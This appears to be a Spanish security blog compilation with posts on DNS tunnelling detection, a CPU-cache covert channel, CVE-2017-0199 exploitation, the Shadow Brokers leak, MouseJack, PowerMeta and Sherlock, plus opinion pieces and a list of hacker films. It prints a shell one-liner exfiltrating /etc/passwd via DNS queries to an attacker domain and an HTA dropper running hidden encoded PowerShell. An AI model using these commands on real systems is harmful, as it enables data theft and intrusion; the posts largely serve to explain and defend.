¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Hoy leía en el blog de Sans una breve pero interesante entrada de Xavier Mertens que reseñaba la importancia de revisar la longitud de las consultas DNS en la red para detectar actividad maliciosa.

A estas alturas, todos sabemos que el servicio DNS se puede utilizar de varias maneras para evitar los controles de seguridad perimetral. El túnel DNS es ya una forma muy extendida de establecer conexiones con sistemas remotos (casi siempre con la intención de obtener una shell inversa y/o exfiltrar datos) y normalmente se basa en registros "TXT" utilizados para entregar el payload codificado.

Demasiadas solicitudes TXT DNS suelen apuntar a que algo extraño está sucediendo en la red, pero el "blue team" ha de tener cuidado para no darse de bruces ante la detección un buen número de falsos positivos porque los registros "TXT" también se utilizan con buenos propósitos, como el envío de registros SPF.

Adicionalmente, en lugar de utilizar registros TXT, la exfiltración de datos puede ocurrir directamente a través de resoluciones simples de FQDN ("Fully Qualified Domain Name"). El RFC 1035 establece que una longitud de consulta DNS es de 255 caracteres en total con cada subdominio de 63 caracteres o menos. Mediante el uso de Base32, podemos codificar nuestros datos en cadenas compatibles con los requisitos de DNS: "A-Z", "0-9" y "-".

Es fácil exfiltrar un archivo con el siguiente comando shell. Por ejemplo, podemos codificar un archivo (por ejemplo /etc/passwd) y generar varias solicitudes DNS a un dominio controlado por el atacante:
$ cat /etc/passwd | base32 -w 63 | while read L

do
  dig $L.data.rootshell.be @192.168.254.8
done

Ten en cuenta que el parámetro '-w 63' hace que la codificación respete el RFC. En el lado del atacante se verá llegar las siguientes peticiones:
$ grep 'data.rootshell.be' queries.log

20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8)

...

Para decodificarlo, simplemente se puede lanzar el comando:
$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

Y tampoco hace falta tener levantado un servidor DNS, basta con esnifar el tráfico entrante:
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

    172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

...

No obstante, incluso hay que tener especialmente cuidado para detectar peticiones de resolución de nombres tan largos porque algunas CDNs utilizan peticiones también bastantes largas para identificar archivos, por ej.:

hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf

¿La solución para una buena defensa? Para reducir el riesgo de falsos positivos hay que combinar varios controles como el volumen de tráfico por IP y por subdominios, la longitud de las peticiones DNS, el patrón y formato de las peticiones DNS y la repetición del destino de las peticiones (probable C2). Además de varias medidas como la creación de listas blancas y, quizás lo más efectivo, limitar el "horizonte" DNS (que sólo pueda resolver nombres de Internet un proxy).

¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Canal encubierto entre dos VM usando el caché compartido de la CPU

Un grupo de investigadores ha demostrado que puede extraer información de una máquina virtual de Amazon Web Services a través de la memoria caché de una CPU que comparte con otras VM en la nube.

Un documento titulado (traducido) "Hola desde el otro lado: SSH sobre los canales encubiertos del robusto caché en la nube (PDF)" explica los retos de la extracción de datos de caché de la CPU, un recurso muy usado en el que el sistema operativo, el hipervisor y las aplicaciones llevan a cabo operaciones frecuentes. Toda esa actividad hace mucho ruido, desafiando los intentos de crear un canal de comunicaciones persistente.

Hasta ahora, como afirman los investigadores, han construido "un canal encubierto de alto rendimiento que puede mantener velocidades de transmisión de más de 45 Kbps en Amazon EC2". Incluso lo han cifrado: la técnica establece una red TCP dentro de la caché y transmite datos usando SSH.

Los resultados son impresionantes, recientemente en la Black Hat Asia se dio una charla en la que se detalló su trabajo y se demostró incluso cómo transmitir video de VM a VM usando la memoria caché de un host.

El paper explica que este material no es totalmente nuevo, pero hasta ahora no ha sido totalmente exitoso porque se ha asumido que "el código de corrección de errores se puede aplicar directamente, y la suposición de que el ruido efectivamente elimina los canales encubiertos".

Los autores derriban ambos argumentos, el primero por encontrar una manera de manejar los errores y el segundo con la creación de un método efectivo de programación de la comunicación entre dos máquinas virtuales.

El documento detalla estos esfuerzos que denomina "Cache-based Jamming Agreement" y ofrecen el código en GitHub para que quién quiera pueda construir su propio canal encubierto en caché, ya sea en el local o en la nube.

Conseguir esto en la nube no es trivial, porque primero se debe averiguar cómo obtener dos máquinas virtuales que se ejecutan en el mismo host, aunque un documento de 2015 titulado "A Placement Vulnerability Study en Multi-Tenant Public Clouds" encontró que es posible en Amazon, Google y Azure y es citado por los autores del paper.

Digamos que este ataque puede parece un poco "exótico", pero también demuestra por qué muchos usuarios están dispuestos a pagar por tener las instancias dedicadas en su nube. También podemos ver que el multi-tenancy todavía tiene un largo camino por recorrer.

Fuente: Researchers steal data from CPU cache shared by two VMs

Explotación práctica de CVE-2017-0199 (Windows RTF RCE)

Red teams, juakers y demás fauna están enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a través de dominios internos, literalmente están lloviendo shells…

Si recordáis, la vulnerabilidad etiquetada como CVE-2017-0199 nació como un 0-day que explotaba las últimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la República de Donestk y que comprometía el PC de la víctima con sólo abrirlo (permitía RCE). Luego se usó también para instalar malware como Latentbot y en campañas del troyano bancario Dridex, aunque hasta ahora no había mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios están reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como decía al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones “hasta la cocina”.

Uno de los más "didácticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el código fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar automáticamente el objeto OLE

Echémosle un vistazo a cómo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicación HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="hxxp://www.w3.org/1999/xhtml"> 

  <head> 

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <title>Bonjour
    </title> 

    <script language="VBScript"> 
      Set owFrClN0giJ = CreateObject("Wscript.Shell") 
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") 
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then 

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL" 
      End If

    </script> 
    <hta:application 

                     id="oHTA" 
                     applicationname="Bonjour" 
                     application="yes" 
                     > 

    </hta:application> 
  </head> 
  <div> 

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%"> 

    </object>
  </div>   
  <body> 
  </body> 
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase “This is my official and legit content”)

Shadow Brokers libera más exploits que ponen en riesgo a los equipos Windows que no hayan sido recientemente actualizados

El 8 de enero Shadow Brokers puso a subasta una lista de exploits que robó a Equation Group ("aka NSA").
El pasado Viernes Santo/14 de abril, y más de tres meses después, el enigmático Grupo ha liberado más exploits, algunos como Fuzzbunch y DanderSpritz que ya anunciaron, otros 0-days para explotar Microsoft Windows, y también para otras vulnerabilidades en Lotus Domino y SWIFT.

El volcado contiene tres directorios llamados Windows, Swift y OddJob. La carpeta de Windows contiene varias herramientas para explotar Windows, OddJob contiene un implant que puede ser instalado en sistemas operativos Windows (aunque los detalles son escasos en este momento) y el directorio SWIFT contiene secuencias de comandos SQL que buscan datos específicos de SWIFT dentro de bases de datos, y archivos de texto y Excel como el de la imagen que demuestran que Equation Group había hackeado y obtenido acceso a varios bancos en todo el mundo.

Microsoft ya ha movido ficha (¿avisados por quién?) emitiendo un comunicado en el que afirma que todas las vulnerabilidades han sido previamente parcheadas, lo cuál no quita que haya material suficiente para alimentar cualquier arsenal con estos exploits y herramientas para comprometer las desactualizadas máquinas de las siempre incautas víctimas:

- Repositorio en Github con el leak: https://github.com/misterch0c/shadowbroker/

Saeta de Semana Santa... La muerte de la "scene"

No sé si con el paso de los años me estoy volviendo blando, o que cada vez leer noticias de seguridad se me hace mas pesado (lo cierto es que hoy soy el riñón astío de Jack). Antes abordaba esta tarea como algo natural, algo entusiasmante; podías encontrar cualquier cosa... meterse en un foro "hacker" era emocionante, trepidante, incluso rayaba en la ilegalidad.

Hoy por hoy solo encuentras Ingenieros (cosa que no es mala)...XD... pero a muchos les podríamos quitar sin dilación la raíz latina de "genium" y les podríamos poner cualquier otra y daría igual o. lo que es peor, solo encuentras intereses, balances, activos y demás lindezas.

Los e-zines han dado paso a las "macro charlas de seguridad" financiadas por los gigantes de las telecomunicaciones, y presididas por los cuerpos de seguridad (que antes te miraban con cara rara y como te descuidaras te financiaban un buen par de .....). La palabra hacker ha dado paso a "consultor de seguridad", cosa que profesionalmente mirado, no es nada malo... pero señores es muy aburrido.

No sé si la scene con la incursión reclutatoria de la empresa privada se está volviendo algo tremendamente soporífero, o por consecuencia era la senda evolutiva, pero lo fijo es que pierde frescura a marchas forzadas.

Ya solo quedan o chicos muy malos (los cuales aun me sorprenden) o chicos muy buenos. A riesgo de la crucifixión (muy acorde con las fechas) os dejo estos pobres pensamientos para la reflexión, pero si al poneros al frente de vuestro ordenador a las 2 de la mañana ya no os resulta tan trepidante como en aquellos años... DEBERÍAIS VER MENOS LA TELE... o quizás y solo quizás la crisis, la necesidad o las imágenes idealizadas de lo que nos meten por los ojos de lo que es el triunfo nos haga perder el horizonte y tengamos menos reparos al vender nuestro culo.

Recopilado de Inet:

"Nicholas Allegra (Comex) - De JailbreakMe a becario de Apple"

A este joven de 19 años de Nueva York, se le metió entre ceja y ceja romper la seguridad que Apple impone al iOS del iPhone y el iPad. El objetivo era simple: Comex, como se le conoce en Internet, quería desarrollar e instalar sus propias aplicaciones sin tener que pasar por el control del sistema operativo. El resultado fue el código de JailbreakMe, que posibilita al usuario instalar sus propias aplicaciones y extensiones sin necesidad de pasar por el AppStore, e incluso permite revertir el proceso utilizando iTunes.
Adueñarse del control del dispositivo no es en realidad ilegal, pero sí provoca la pérdida de la garantía de Apple sobre el producto. Además, el agujero de seguridad podría ser aprovechado por otros desarrolladores con peores intenciones. De ahí que Apple tardara poco más de una semana en parchear el sistema. No obstante hoy la noticia es que Comex pasará a ser empleado de Apple, la misma empresa a la que ha hackeado.

MouseJack o cómo comprometer un ordenador "secuestrando" un ratón inalámbrico

Hoy vamos a ver una de esas vulnerabilidades que llaman la atención por su originalidad y cuya repercusión incluso deriva en la creación de una página web con su nombre: http://www.mousejack.com/.

Se trata de MouseJack descubierta hace más o menos un año por el equipo de Bastille y es una clase de vulnerabilidades que afecta a la gran mayoría de los teclados y ratones inalámbricos, no Bluetooth. Estos periféricos están 'conectados' al ordenador usando un transceptor de radio, comúnmente un pequeño dongle USB. Dado que la conexión es inalámbrica y los movimientos del ratón y las pulsaciones de teclas se envían por aire, es posible comprometer el PC de una víctima mediante la transmisión de señales de radio especialmente diseñadas utilizando un dispositivo que cuesta tan sólo unos 15€ aprox.

Un atacante puede lanzar el ataque desde 100 metros de distancia. El atacante es capaz de tomar el control de la computadora objetivo, sin estar físicamente frente a ella, y escribir texto arbitrariamente o enviar comandos mediante scripts. Por lo tanto, es posible realizar rápidamente actividades maliciosas sin ser detectado.

La explotación de MouseJack se centra alrededor de la inyección de pulsaciones de teclas sin cifrar en un equipo de destino. Los movimientos del ratón suelen enviarse sin cifrar pero las pulsaciones de teclas si suelen estar cifradas (para evitar eavesdropping mientras se está escribiendo). Sin embargo, la vulnerabilidad de MouseJack se aprovecha de algunos receptores/dongles y su software correspondiente, permitiendo que las pulsaciones de teclas no cifradas transmitidas por un atacante se trasladen al sistema operativo como si la víctima las hubiera escrito legítimamente.

Sirva de ejemplo el siguiente vídeo:

A la izquierda está la máquina de la víctima que tiene un dongle conectado para un ratón inalámbrico. A la derecha está el atacante. La parte superior derecha es una configuración de escucha para recibir una conexión de vuelta de la máquina de la víctima (shell reversa meterpreter). La parte inferior derecha es el atacante que inyecta pulsaciones de teclas después de secuestrar el dongle del ratón inalámbrico. El atacante ejecuta un powershell de una sola línea y recibe una conexión de vuelta de la máquina de la víctima que ahora controla en la parte superior derecha.

Para obtener más información sobre la vulnerabilidad de MouseJack puedes visitar también la web oficial, leer el white paper técnico de MouseJack y ver la lista de dispositivos afectados.

¿A qué ahora añoras tu viejo ratón con cable? ;)

PowerMeta: un script en PowerShell para buscar los ficheros públicos de un dominio y extraer sus metadatos

PowerMeta es un script en PowerShell que busca archivos públicos alojados en varios sitios web para un dominio en particular usando búsquedas personalizadas en Google y Bing, luego permite su descarga y finalmente analiza los metadatos asociados mediante Exiftool. Ya sabemos que los metadatos muchas veces facilitan datos tan interesantes como nombres de usuario, dominios, tipos de software, nombres de equipo, etc. por lo que usar esta herramienta en las fases iniciales de reconocimiento de un test intrusión puede resultar bastante interesante.

Para usar PowerMeta sólo tendremos que poner el ejecutable de la herramienta Exiftool en el mismo path (si no te fías del repo puedes descargarla desde aquí). Por defecto, sólo extrae los campos 'Autor' y 'Creador', ya que estos normalmente son los que siempre se guardan con los documentos. Sin embargo, también se pueden extraer todos al pasarle a PowerMeta el parámetro -ExtractAllToCsv.

Uso

Búsqueda básica

Con el siguiente comando, mediante Google y Bing se buscan archivos en el dominio 'targetdomain.com' con las extensiones pdf, docx, xlsx, doc, xls, pptx o pptx. Una vez que haya terminado de elaborar esta lista, preguntará al usuario si desea descargar los archivos y, después de descargarlos, volverá a solicitar la extracción de metadatos de esos archivos.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com

Guardar los resultados en un archivo

El mismo comando anterior con la salvedad de que se guardarán los enlaces a los archivos encontrados en "target-domain-links.txt".

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -TargetFileList target-domain-links.txt

Cambiar los tipos de archivo y permitir la descarga y extracción automáticas

El siguiente comando buscará con Google y Bing archivos con la extensión pdf o xml en el dominio 'targetdomain.com'. Luego, los descargará automáticamente y extraerá los metadatos.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -FileTypes "pdf, xml" -Download -Extract

Extraer todos los metadatos y limitar la búsqueda de páginas

Este comando buscará también en Google y Bing archivos con extensión pdf, docx, xlsx, doc, xls, pptx o pptx en el dominio 'targetdomain.com', pero sólo buscará en las dos primeras páginas. Todos los metadatos (no sólo los campos predeterminados) se guardarán en un CSV llamado all-target-metadata.csv.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -MaxSearchPages 2 -ExtractAllToCsv all-target-metadata.csv

Extraer metadatos de archivos de un directorio

Este comando simplemente extraerá todos los metadatos de todos los archivos de la carpeta "\2017-03-031-144953" y los guardará en un CSV llamado all-target-metadata.csv

C:\PS> ExtractMetadata -OutputDir .\2017-03-031-144953\ -ExtractAllToCsv all-target-metadata.csv

Opciones de PowerMeta

TargetDomain        - The target domain to search for files.
FileTypes           - A comma seperated list of file extensions to search for. By default PowerMeta searches for "pdf, docx, xlsx, doc, xls, pptx, ppt".
OutputList          - A file to output the list of links discovered through web searching to.
OutputDir           - A directory to store all downloaded files in.
TargetFileList      - List of file links to download.
Download            - Instead of being prompted interactively pass this flag to auto-download files found.
Extract             - Instead of being prompted interactively pass this flag to extract metadata from found files pass this flag to auto-extract any metadata.
ExtractAllToCsv     - All metadata (not just the default fields) will be extracted from files to a CSV specified with this flag.
UserAgent           - Change the default User Agent used by PowerMeta.
MaxSearchPages      - The maximum number of pages to search on each search engine.

Proyecto: https://github.com/dafthack/PowerMeta

¿Debemos prohibir el anonimato en Internet por un bien general?

Hoy me salgo un poco de la tendencia natural del blog en cuanto a entradas técnicas, esta vez para escribir una mera opinión personal con respecto al último speech de Iker Jiménez al cierre del programa de Cuarto Milenio del pasado domingo.

En resumen, Iker aboga por no permitir el anonimato total en Internet para no dejar a la parte oscura de la Red actuar con total impunidad, sobre todo a raíz de los denominados ‘Grupos de la muerte’ con origen en Rusia que han inducido al suicidio a cientos de niños a través de Internet. Esto es muy serio, no se puede imaginar nada que repugne más que esos hechos ni concebir nada más repudiable que lo ha acontecido. No debemos permitir que personas en Internet sufran acoso y debemos proteger sobretodo a los más vulnerables, pero prohibir el anonimato de forma global, a parte de una quimera, no es la solución. Intento explicarme primero con un sencillo ejemplo.
   
En el mundo físico cuando entras a un bar en el que no eres asiduo lo haces con cierto anonimato. Los camareros no te conocen y, aunque el local puede tener instalada alguna cámara, está normalmente no tiene reconocimiento facial y no está conectada a una base de datos con la que identificarte en tiempo real con tu nombre, apellidos y/u otra información personal. Tomas un café, charlas con un amigo y cuando sales lo único que queda es el volátil recuerdo de los que estaban inmiscuidos.

En el mundo virtual y casi por defecto, aunque entres en un bar en el que no has estado nunca, la cámara capta tu imagen e inmediatamente tu identidad queda registrada, tu presencia es anunciada a toda la cadena de bares de la marca, además de a otras empresas con las que tiene acuerdos. Tomas un café y la cantidad de azúcar, el tipo de café elegido es almacenado, clasificado y compartido también con terceros para obtener estadísticas comerciales que sirven para dirigir mejor los productos. Hablas con un amigo y tu conversación es grabada, si pronuncias ciertas palabras o hablas de algún tema concreto adicionalmente eres investigado.

No estoy exagerando, eso ya se está haciendo. Hoy en día el anonimato total en Internet es muy difícil y sólo una ilusión para muchos. Pero aún así, todavía existen opciones para mantener cierto nivel de anonimato y privacidad. aunque sea parcialmente. Siguiendo con el silogismo, para mantener el anonimato en nuestro particular bar virtual entraríamos con sombrero, gafas y peluca (cambiaríamos la dirección IP, utilizaríamos otro ordenador y/o navegador, etc.), cada día pediríamos un café distinto evitando repetir patrones y con nuestro amigo hablaríamos en un idioma inventado que sólo ambos entendéis.

¿Cómo se puede evitar que no se haga esto? Pues se me ocurre no dejar entrar al bar a nadie sin confirmar su identidad como si una reserva de derecho de admisión se tratase, permitir hablar sólo un idioma oficial y dejar claro cuáles son las normas y reglas del juego si se quiere estar dentro. Pero sobretodo, permitir también la existencia de otros bares en los que si se pueda mantener cierta libertad.

Con todo esto quiero decir que Internet es ya demasiado compleja para poder llevar a cabo una medida global que afecte a todos. No se puede eliminar por completo el anonimato. Primero porque técnicamente es prácticamente imposible ya que, como en el mundo real, cualquiera podría evadir los controles establecidos, suplantar y presentarse con una identidad falsa. Y segundo porque tampoco sería justo. Por ejemplo, existen regímenes que castigan severamente a las personas sólo por ejercer la libertad de expresión, estaríamos entonces "ahogándoles" y condenándoles al ostracismo.

Lo ideal es que se estandaricen unas normas que cada web pueda implementar, de tal forma que sea etiquetada para que el usuario, cuando la vea, sepa que debe identificarse y que va a realizársele cierto seguimiento al utilizar su servicio, que debe conocer al detalle. Luego, por el contrario, que haya otros sitios que no requieran esta identificación (y no sólo hablo de la Deep Web) y ahí especialmente es cuando los padres han de estar atentos y establecer un control parental para que sus hijos menores no puedan acceder. Por lo que, y difiero con lo decía Iker, el conocimiento, la educación y la cultura son muy importantes.

En definitiva, el mensaje de Iker proponía eliminar el anonimato en Internet por un bien general: eliminar la impunidad y erradicar la delincuencia en Internet. Pero no se trata de extremos, ni ser un absoluto censor, una “Corea del Norte o China”, ni un “Déjenme mi libertad mi paginitas y los demás que les den”. El anonimato debe ser también un derecho, al igual que un sitio en Internet pueda decidir no permitir acceder a él de forma anónima. Sólo (que no es poco) que los padres debemos educar e intentar supervisar a nuestros pequeños y restringirles si es necesario el acceso a aquellos sitios que si lo permitan.

Sherlock, un script en PowerShell para escalar privilegios que incluye 9 CVEs

Sherlock es un script en PowerShell de Rasta Mouse que revisa rápidamente la existencia de parches para vulnerabilidades de escalado de privilegios en Microsoft Windows.

Actualmente busca:
  • MS10-015 : User Mode to Ring (KiTrap0D) 
  • MS10-092 : Task Scheduler 
  • MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow 
  • MS13-081 : TrackPopupMenuEx Win32k NULL Page 
  • MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference 
  • MS15-051 : ClientCopyImage Win32k 
  • MS15-078 : Font Driver Buffer Overflow 
  • MS16-016 : 'mrxdav.sys' WebDAV 
  • MS16-032 : Secondary Logon Handle Probado en: Windows 7 SP1 32-bit Windows 7 SP1 64-bit Windows 8 64-bit Windows 10 64-bit 
Uso básico: 
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta

Una lista de películas y series que todo hacker debe ver

No sólo de ver un monitor vive el hombre, también se dedican muchas muchísimas horas a derretirse los ojos viendo series y películas, de hecho mientras escribo tengo en la TV puesta una... jajaja
Pero, ¿cuáles son aquellas calificadas como pertenecientes al género hacker (a veces también cyberpunk o geek)? ¿y de esas cuáles son las que agitan tu mente y te levantan del asiento para correr hacia tu portátil a hackear y dominar el mundo?

Evidentemente cada uno tiene sus gustos y preferencias, y lo que llama a unos a otros les causa rechazo o indiferencia, por lo que hacer un top de películas y series sería bastante personal y subjetivo.
Lo que por el contrario sí es bastante objetivo es un recopilatorio publicado en Github por el griego Nikolaos Kamarinakis, que recoge un impresionante listado de películas y series puntuada con la valoración media de los usuarios de IMDB.

¿Cuáles te faltan por ver?

Películas

Thrillers / Películas de Drama

PELÍCULA GÉNERO AÑO PUNTUACIÓN
WarGames: The Dead Code Thriller/Drama 2008    4.5/10
WarGames Thriller/Drama 1983 7.1/10
Hackers Crimen/Drama 1995 6.2/10
Anonymous Crimen/Drama/Thriller 2016 6.4/10
Antitrust Thriller/Drama 2001 6.1/10
Reboot Thriller/Drama 2012 4.1/10
Takedown Thriller/Drama 2000 6.3/10
23 Thriller/Drama 1998 7.3/10
The Net Thriller/Drama 1995 5.8/10
The Net 2.0 Thriller/Drama 2006 4.7/10
Underground: The Julian Assange Story Drama/Biografía 2012 6.8/10
The Fifth Estate Thriller/Drama 2013 6.2/10
The Social Network Drama/Historia 2010 7.7/10
Enemy of the State Thriller/Drama 1998 7.3/10
The Girl with the Dragon Tattoo Thriller/Drama 2011 7.8/10
Snowden Drama/Thriller 2016 7.3/10
Algorithm Crimen/Drama/Thriller 2014 4.8/10
Who Am I Crimen/Drama 2014 7.6/10
Hacker's Game Drama/Thriller 2015 3.8/10
Blackhat Drama/Thriller 2015 5.4/10
The Thirteenth Floor Thriller/Misterio 1999 7/10
Swordfish Acción/Thriller 2001 6.5/10
Live Free or Die Hard Thriller/Acción 2007 7.2/10
Untraceable Slasher/Thriller 2008 6.2/10
The Imitation Game Drama/Thriller 2014 8.2/10
Pi Drama/Misterio 1998 7.5/10
Primer Drama/Thriller 2004 7.0/10
Listening Thriller/Drama 2014 5.6/10